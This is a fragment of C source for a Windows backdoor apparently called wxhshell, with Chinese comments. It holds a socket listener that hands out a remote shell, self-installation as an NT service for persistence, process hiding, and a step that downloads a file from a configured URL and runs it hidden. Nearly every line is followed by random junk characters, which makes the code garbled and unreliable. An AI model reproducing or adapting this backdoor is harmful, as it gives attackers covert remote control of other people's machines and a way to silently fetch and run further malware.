DWORD AffinityMask; %vjLw`
DWORD BasePriority; Mg
H,"G
ULONG UniqueProcessId; \%nFCK0
ULONG InheritedFromUniqueProcessId; `8Y& KVhu
} PROCESS_BASIC_INFORMATION; +*2wGAT
o9)pOwk7;
PROCNTQSIP NtQueryInformationProcess; Y>KRI2](<
]C|Zs=5
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ng]jpdeA
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MWv_BXQ
s#,~Zb=
HANDLE hProcess; [h
"*>J{
PROCESS_BASIC_INFORMATION pbi; yc.Vm[!
UGuEZ-r
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V[f-Nj Kf
if(NULL == hInst ) return 0; +u%^YBr
UUy%:t
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n:zoN2lC
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )i&z!|/2
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +I$c+WfU
B4^+&B#
if (!NtQueryInformationProcess) return 0; WvG0hts=[
cE}R7,y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z?$F2+f&
if(!hProcess) return 0; {HKd="%VG
G}aw{Vbg_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; # Ny
70p1&Y7or
CloseHandle(hProcess); IYm~pXg^0
a!MhxM5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L8K=Q
if(hProcess==NULL) return 0; 1:<= zqh0
4`F(RweGx
HMODULE hMod; >$=-0?.
char procName[255]; ]3tg|?%B
unsigned long cbNeeded; ;SAurG$
uU v yZ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &fJ92v?%^S
Fy|tKMhnc
CloseHandle(hProcess); T9r"vw
:[:5^R
if(strstr(procName,"services")) return 1; // 以服务启动 6e,|HV
D>9~JHB
return 0; // 注册表启动 tx}}Kd
} y:Xs/RS
RXa&*Jtr -
// 主模块 L(a&,cdh
int StartWxhshell(LPSTR lpCmdLine) +]|aACt]
{ hzIP ?0^E
SOCKET wsl; {@Y|"qIN
BOOL val=TRUE; h8;B +#f`
int port=0; 6~8A$:
struct sockaddr_in door; 1{N73]-M:
Wx#((T
if(wscfg.ws_autoins) Install(); <
aeBhg%
g z!q
port=atoi(lpCmdLine); y+f@8]
( lbF/F>v
if(port<=0) port=wscfg.ws_port; c"BFkw
m(QGP\Ya
WSADATA data; su]CaHU
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lqFDX
d
;cQhs7m(9
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; NpV#zzE
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (Fq|hgOA>M
door.sin_family = AF_INET; s(*LV2fa
door.sin_addr.s_addr = inet_addr("127.0.0.1"); :5!>h8p;
door.sin_port = htons(port); 7Q,9j.
<V?M~u[7f
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
DDkH`R
closesocket(wsl); VXt8y)?a
return 1; K#bd b
} V@gweci
:uhU<H<,f
if(listen(wsl,2) == INVALID_SOCKET) { 1e`/N+6u
closesocket(wsl); x`8rR;N!
return 1; >|%dN
jf@Q
} RUcpdeo
Wxhshell(wsl); 5/j7 C>
WSACleanup(); hwF9LD~^
UhuEE
return 0; b%`^KEvwfo
utIR\e#:B
} :V1ttRW}52
eliT<sw8
// 以NT服务方式启动 A/n-.ci
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i^j1i
{ q$)$?"
DWORD status = 0; +We_[Re`<
DWORD specificError = 0xfffffff; 0TA{E-A
DBDHe-1[+
serviceStatus.dwServiceType = SERVICE_WIN32; &YQ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 40TS=evG
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Pw`26mB
serviceStatus.dwWin32ExitCode = 0; y]|Hrx
serviceStatus.dwServiceSpecificExitCode = 0; r[xj,eIb
serviceStatus.dwCheckPoint = 0; \_?A8F
serviceStatus.dwWaitHint = 0; VwfeaDJw
^):m^w.
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $hexJzX
if (hServiceStatusHandle==0) return; ~B!O
X
W}&[p=PAS
status = GetLastError(); r0ml|PX
if (status!=NO_ERROR) FEqs4<}E
{ *a_U2}N
serviceStatus.dwCurrentState = SERVICE_STOPPED; z%xWP&3%"
serviceStatus.dwCheckPoint = 0; IS *-MLi
serviceStatus.dwWaitHint = 0; v ~|~&Dwq
serviceStatus.dwWin32ExitCode = status; )?35!s6
serviceStatus.dwServiceSpecificExitCode = specificError; V+#Sb
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zTtn`j$
return; p<b//^
} &L3OP@;
BJGL &N
serviceStatus.dwCurrentState = SERVICE_RUNNING; W\mj?R
serviceStatus.dwCheckPoint = 0; N ] KS\
serviceStatus.dwWaitHint = 0; I'pOB
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7.7aHt0
} ~>C@n'\lv
hY$gzls4
// 处理NT服务事件,比如:启动、停止 L?~>eT
VOID WINAPI NTServiceHandler(DWORD fdwControl) 12
y=Eh
{ 8K: RoR
switch(fdwControl) bI~ R6o
{ WZz8VF
case SERVICE_CONTROL_STOP: Cjh0 .{
serviceStatus.dwWin32ExitCode = 0; a!UQ]prT
serviceStatus.dwCurrentState = SERVICE_STOPPED; )8`7i{F
serviceStatus.dwCheckPoint = 0; y|r+<
serviceStatus.dwWaitHint = 0; R*Jnl\?>@
{ K9{3,!1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); wOW#A}m'vj
} `SDpOqfIrP
return; a]0B{
case SERVICE_CONTROL_PAUSE: @.IGOh
serviceStatus.dwCurrentState = SERVICE_PAUSED; t8vR9]n
break; L=`QF'Im
case SERVICE_CONTROL_CONTINUE: *nb `DR
serviceStatus.dwCurrentState = SERVICE_RUNNING; <2b&AF{En
break; r6
k/QZT
case SERVICE_CONTROL_INTERROGATE: O&DkB*-
break; iBCZx>![;
}; 6T-h("t
SetServiceStatus(hServiceStatusHandle, &serviceStatus); X`/3X}<$7
} [bE-Uu7q5P
Y
j[M>v
// 标准应用程序主函数 _ ~q!<-Z
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .3xpDVW^e
{ &BF97%E2
:bBLP7eyV
// 获取操作系统版本 JmMB=}
<
OsIsNt=GetOsVer(); X`-7: !+
GetModuleFileName(NULL,ExeFile,MAX_PATH); I,[njlO:
X<:B"rPuK
// 从命令行安装 N, `q1B
if(strpbrk(lpCmdLine,"iI")) Install();
-PfBL8
54[#&T$S
// 下载执行文件 z1dSZ0NoA
if(wscfg.ws_downexe) { e}@VR<h
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pe}mA}9U
WinExec(wscfg.ws_filenam,SW_HIDE); YUGE>"{
} fU/&e^,
's
n $Nw/Vm
if(!OsIsNt) { e"=/zZH3
// 如果时win9x,隐藏进程并且设置为注册表启动 b/#SkxW#S
HideProc(); \<e?
StartWxhshell(lpCmdLine); @;\2 PD
} .AB n$ml]
else 8'K~+L=}
if(StartFromService()) IP?15l w
// 以服务方式启动 \[\4= !v
StartServiceCtrlDispatcher(DispatchTable); *}F>c3x]
else (Dat`:
// 普通方式启动 3H^0v$S
StartWxhshell(lpCmdLine); F747K);_
BZJ\tPSR
return 0; =*0KH##%$
}